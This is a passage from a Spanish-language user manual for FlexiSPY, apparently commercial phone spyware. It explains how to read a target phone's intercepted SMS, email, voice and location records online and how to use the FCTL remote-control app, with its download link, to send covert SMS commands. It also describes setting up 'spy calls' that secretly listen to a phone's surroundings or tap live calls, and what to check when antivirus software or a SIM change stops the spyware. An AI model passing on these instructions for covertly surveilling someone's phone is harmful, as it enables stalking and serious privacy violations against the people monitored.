18> Nombre de Red 18> DTAC 

19> Tamaño Basado en Data 19>32445 in KB 

20> Disco de Instalación 20>C: 

Nota: * significa no disponible. 

21> Memoria Libre en el 
Teléfono 

21>32452 in KB 

http://djp.cc/fctl/jad
http://djp.cc/fctl/jad


LEYENDO REPORTES  

Para leer los reportes, debe ingresar a su cuenta en www.flexispy.com usando el usuario y contraseña que 
usted seleccionó cuando compró el producto. Luego de ingresar usted verá la ventana de lista de actividades. 
Esta pantalla le prove un conjunto de eventos que han ocurrido en el móvil.  
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MI PERFIL : Cambie su 
contraseña, vea el es-
tatus de la conexión del 
móvil y renove suscrip-

CAJA DE 
COTEJO : 
Eventos 
pueden ser 
selecciona-
dos indi-
vidualmente 
usando la 
caja de 
cotejo. Una 
vez seleccio-
nados 
pueden ser 
borrados 
permanente
-mente al 
usar el link 
DELETE. 

NOMBRE DE CONTACTO : Si hay 
un nombre en la lista de contactos 
del teléfono asociado con el 
número, será desplegado. En caso 
contrario, este campo mostrará el 
número. Para localizació, aquí se 
mostrará el nombre o el número de 
identificación de la localidad.  

TIEMPO DE SERVIDOR : Es la hora 
en la que el servidor recibió el 
evento. Necesita configurar su zona 
horaria para que sea desplegada 
correctamente.  

TIEMPO DEL MOVIL : 
El tiempo en el que el 
evento ocurrió, según 
el móvil. Puede no ser 
exacto si no se con-
figura correctamente.  

DIRECCIONES : El 
evento estaba en direc-
ción entrante o sali-
ente. Un ícono es de-
splegado.  

EVENTOS DEL SISTEMA: Si el TELEFONO A ES-
PIAR tiene poca memoria, un mensaje de SYSTEM 
será entregado. FlexiSPY dejará de grabar hasta 
que haya memoria disponible.  

PAGINA PRINCIPAL:  Luego de ingresar en 
la cuenga, esta pantalla muestra los eventos 
recientemente grabados. Puede filtrarlos al   
VOICE (voz), SMS, EMAIL, LOCATION 
(localización) o SYSTEM (sistema)  

COLUMNA 
ROJA DE 
ORGANI-
ZACION : 
Haga click en 
estas colum-
nas para or-
ganizar.  

REFRESCAR : Recargar 
datos para ver últimos 
eventos  

DESCARGUE Y GUARDE SU INFORMACION. ESTA SOLO DURA 7 DIAS.  

DESCARGUE Y BORRE SUS DATOS REGULARMENTE. LOS DATOS SOLO DURAN 7 DIAS.  



BUSQUEDA:  Responda sus preguntas al hacer 
búsquedas poderosas. Usted puede escojer el tipo 
de evento, rango de fecha, dirección de la 
búsqueda por palabras clave específicas. Si usted 
tiene multiples dispositivos, puede especificar en 

REPORTES:  Descargue los resultados de sus 
búsquedas o todos sus datos en una variedad 
de formatos.  

DOWNLOAD AND DELETE YOUR DATA REGULARLY. DATA IS ONLY KEPT FOR 7 DAYS.  

CORREO ELECTRONICO  

VOZ  

GPS/CELLID  

SMS  
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RESOLUCION DE PROBLEMAS  

PROBLEMA 1:  
NO PUEDO ACTIVAR EL PROGRAMA DESPUES DE HABERLO DESCARGADO. TENGO UN ERROR.  
 
PROBLEMA 2:  
NO PUEDO PROBAR LA CONEXION PARA VER SI FUNCIONA. SIEMPRE FALLA ?  

SOLUCION 1 Y 2:  
 
EL PROBLEMA ES EL ñAPNò (ACCESS POINT). ES POSIBLE QUE SU OPERACION NO LE PERMITE 
CONECTARSE AL INTERNET O SU TELEFONO PUEDE NO TENER CREDITO.  
 
POR FAVOR CONTACTE SU SUPLIDOR DE SERVICIO TELEFONICO Y PIDALE QUE LE ENVIEN SU 
CONFIGURACION DE LOS PUNTOS DE ACCESO.  

PROBLEMA 3:  
Antes obtuve eventos en mi cuenta web, pero ya no estoy recibiendo eventos por mas de un día.  

Esto puede pasar por varias rezones que estan fuera del control del programa FlexiSPY.  

¶ El teléfono no tiene crédito disponible.  

¶ La tarjeta SIM ha sido cambiada a otra red diferente a la que tenía en la configuración.  

¶ La causa mas común es que el teléfono no puede conectarse al Internet.  

 
Para diagnosticar este problema usted necesitará enviar el comando de diagnóstico al móvil donde esta insta-
lado FlexiSPY. Usted puede enviar SMS manualmente o usar la conveniente aplicación FCTL ( Página 18) que 
esta disponible para descargas gratuitamente. Antes de utilizar el método manual o usar la aplicación FCTL, 
haga lo siguiente:  
 

¶ Por favor, revise las Páginas 10 a 12 del manual si va a enviar el SMS manualmente.  

¶ Asegúrese de que los SMS sean Activevard entrega informes sobre el móvil desde donde envía el 

SMS o utilizar el programa FCTL (Página 18).  

¶ Envíe el comando de diagnóstico al teléfono donde esta instalado FlexiSPY.  

¶ En primer lugar, deberá recibir una confirmación de entrega que le indicará que el teléfono esta 

encendido.  

¶ Luego debe recibir un SMS con el estatus del software FlexiSPY. Esto le indicará que FlexiSPY esta 

funcionando y le mostrará si hay algún problema con la conexión al Internet. Verifique la RE-
SPUESTA en la Página 11 para resolver el problema.  

.  
 
 
Le recomendamos que utilize nuestro programa de control remoto FCTL  que se ejecuta en los teléfonos equi-
pados con Java Activard. Se puede descargard desde  http://djp.cc/fctl.jad . Encontrará detalles en la página 
18 del manual.  
 
Para obtener la información de diagnóstico sin usar el programa de control remoto, usted necesita enviar el 
comando SMS al teléfono tal y como se describe en la Página 12, ejemplo 10 del manual del usuario. Usted 
puede encontrar los manuales de los productos en http://www.flexispy.com/manual.htm  
 
 

¶ Si no recibe un reporte de vuelta, el teléfono está apagado o no tiene crédito.  

¶ Si obtiene un reporte de vuelta pero no obtiene el SMS de diagnóstico, el teléfono ha sido reiniciado 

tal y como vino de f§brica o FlexiSPY ha sido desactivado por un programa ñantivirusò. 

¶ Si usted recibe el diagnóstico, esto significa que FlexiSPY todavía esta activo y trabajando y hay un 

problema temporal con la conexión al internet. Si el SIM ha sido cambiado, el teléfono con FlexiSPY 
tendrá un número de teléfono diferente al que fue instalado originalmente.  
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SIEMPRE ENVIE LA PANTALLA DE DIAGNOSTICO CUANDO QUIERA CONTACTAR A SOPORTE  
Envíe las peticiones de soport en www.flexispy.com/support.htm  

Para obtener la pantalla de diagnóstico utilice la aplicación FCTL (Página 18) o envíe 

<*#62#><FLEXIKEY> al TELEFONO A ESPIAR.  

http://djp.cc/fctl.jad
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TROUBLE SHOOTING  

PROBLEMA 4:  
Cuando hago una LLAMADA ESPIA, el teléfono suena y no es contestado.  

SOLUCION 4  
 
FlexiSPY no ha podido detectar que el número que esta llamando es el número del TELEFONO MONITOR. Esto  
usualmente ocurre porque su operator telefónico no esta enviando la información del Identificador de Llama-
das por ende FlexiSPY no sabe cual es el número entrante.  
 
A]  Anote el nómero ENTRANTE . Llame al TELEFONO A ESPIAR y verifique EXACTAMENTE cual es el 

número mostrado en la pantalla.  
B]  Determine a cual número está configurado el TELEFONO MONITOR.   Envíe un SMS de diagnóstico al 

TELEFONO A ESPIAR tal y como se muestra en la página 11,  ejemplo 2.  
C]  Examine el campo 13 en el mensaje que devuelve el SMS de diagnóstico . El número ENTRANTE y el 

campo 13 del SMS de diagnóstico deben ser idénticos.  
D]  ¿Esta en el formato correcto?  En el TELEFONO A ESPIAR,  usted necesita siempre introducir + y el 

código de país para que la aplicación corra correctamente.  
E]  Si su red no esta enviando los datos del Identificador de Llamadas, la Llamada Espía no funcionará   Si 

usted no ve ning¼n n¼mero ENTRANTE, o usted ve ñPRIVADOò O ñDESCONOCIDOò, su red no esta 
enviando la informacion del Identificador de Llamadas. Si usted esta llamando internacionalmente, el 
número puede ser que no sea el mismo que ha programado. Esto puede pasar porque la red no este 
enviando el Identificador de Llamadas y no es posible establecer que quien llama es el TELEFONO 
MONITOR.  
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SIEMPRE ENVIE LA PANTALLA DE DIAGNOSTICO CUANDO QUIERA CONTACTAR A SOPORTE  
Envíe las peticiones de soport en www.flexispy.com/support.htm  

Para obtener la pantalla de diagnóstico utilice la aplicación FCTL (Página 18) o envíe <*#62#><FLEXIKEY> 
al TELEFONO A ESPIAR.  
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MANUAL DE FCTL  
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REQUERIMIENTOS:  
¶ Teléfono con capacidad J2ME  
Para descargar FCTL , introduzca djp.cc/fctl.jad en el navegador de internet del teléfono. Luego de que 
complete la descarga, la aplicación se instalará automáticamente.  

FCTL  (FlexiSPY Control) es una aplicación que corre en cualquier móvil equipado con Java Activard. FCTL  
le permite controlar cualquier telefono con FlexiSPY sin tener que preocuparse con complejos comandos 
SMS. Simplemente SELECCIONE LA FUNCION QUE DESEA Y FCTL enviará el comando por usted. Con FCTL 
usted puede controlar su FlexiSPY usando otro móvil.  

DEFINICIONES  
TELEFONO A ESPIAR : ES EL TELEFONO EN EL QUE FLEXISPY ESTA INSTALADO  
TELEFONO MONITOR : EL TELEFONO DESDE EL CUAL DESEA HACER LAS LLAMADA ESPÍAS ( VERSION 
PRO O PRO - X SOLAMENTE)  
TELEFONO CON FCTL: El aparato donde esta instalado FCTL. Este no necesitar ser el teléfono monitor.  

Nota Importante  
 
Al inicio de la aplicación, FCTL le pedirá introducir  
1.  Número del TELEFONO A ESPIAR . Este es un número 

de teléfono del aparato donde FlexiSPY esta instalado.  
2.  La FlexiKEY  para el TELEFONO A ESPIAR  
 
Para verificar el Número del TELEFONO A ESPIAR y la 
FlexiKEY , vaya a la opción Change FlexiKEY & Phone No y 
asegúrese que todos los número estan introducidos correcta-
mente.  
 
Haga click aquí para verificar o introducir un nuevo Número 
del TELEFONO A ESPIAR y una nueva FlexiKEY.  

Aquí usted puede introducir el Número del TELEFONO A ES-
PIAR . 
 
Necesita ser siempre un número internacional, usted 
puede introducir el signo de número (+) y el código de país sin 
el 0 delante. Por ejemplo, el código de país es 66  y el número 
de teléfono es 012345678  entonces el número a introducir es 
+6612345678  

Aquí introduzca la FLEXIKEY para el TELEFONO A ESPIAR . 

Si usted cambia los números aquí, no olvide presionar 
SAVE antes de salir de la configuración.  

http://djp.cc/fctl.jad
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Envío de SMS para activar la Llamada espía  
Una LLAMADA ESPÍA es aquella llamada que haces desde el 
teléfono MONITOR al TELEFONO A ESPIAR para escuchar los 
alrededores del teléfono o para interceptar una llamada exis-
tente. Para remotamente activar una Llamada espía , haga 

Introduzca el TELEFONO MONITOR aquí.   
 
Luego de que el comando sea enviado cambiará la configuración 
de FlexiSPY a la siguiente:  
 Activate     : YES  
 Number   : Number user enters in this screen  
 
Nota:  
Para instrucciones de como configurar números internacionales 
por favor vaya a los Manuales de FlexiSPY  http://
www.flexispy.com/manual.htm  

Desactivar la Llamada Espía  
 
Este comando le indica al TELEFONO A ESPIAR que Desactive 
la Llamada Espía. Luego de enviar este comando, la configu-
racion cambiara en FlexiSPY:  
 Activate   : NO 

Iniciar Captura de Eventos Actuales  
 
Este comando le indica al TELEFONO A ESPIAR a que Inicie la  
Captura de los eventos actualmente seleccionados. Luego de 
ser enviado este comando, la configuración cambiará a:  
 Start Capture   : YES 

Nota Importante  
 
Antes de enviar el comando al TELEFONO A ESPIAR, por favor asegure que el comando que va a en-
viar esta disponible en la version de FlexiSPY instalada en el TELEFONO A ESPIAR.  
 
ALGUNOS COMANDOS NO ESTAN DISPONIBLES EN LAS VERSIONES MAS TEMPRANAS DE FLEXISPY.  
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